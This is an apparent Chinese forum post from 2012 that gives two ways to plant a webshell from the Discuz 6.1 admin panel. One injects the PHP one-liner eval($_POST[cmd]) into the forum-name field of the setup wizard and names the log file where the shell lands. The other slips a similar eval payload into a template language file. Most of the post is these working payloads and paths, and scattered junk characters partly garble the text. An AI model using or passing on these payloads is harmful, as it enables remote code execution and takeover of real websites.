discuz6.1两种方法后台拿shell& m/ J& Z( z- \0 V2 N1 N
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下) v3 @% z! {6 Y/ S, r
1:+ U" E; X& h- Z @
http://127.0.0.1/discuz/admincp. ... zard&frames=yes5 R" [5 X/ x! ^. t/ G% L4 K
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
6 x- ]9 k# s! {/ [, A, G, V0 X9 y2 K<?php eval($_POST[cmd]);?>
0 f( O1 l0 a( e后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php& o" `& `: R2 V v! q9 S* N K
0 o7 C' q! ?$ ~3 N4 b
% a( O. X+ R5 V& U% H
2:后台模板管理--默认模板套系--详情
% m4 a3 n, A! jtemplates/default/actions.lang.php
. l# ^! z' U2 L( |1 I V0 Ljhackj\\');eval($_POST[cmd])?>;//, T# |1 r' Z* H2 v
: |7 P$ d* r# a3 C2 q' c利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对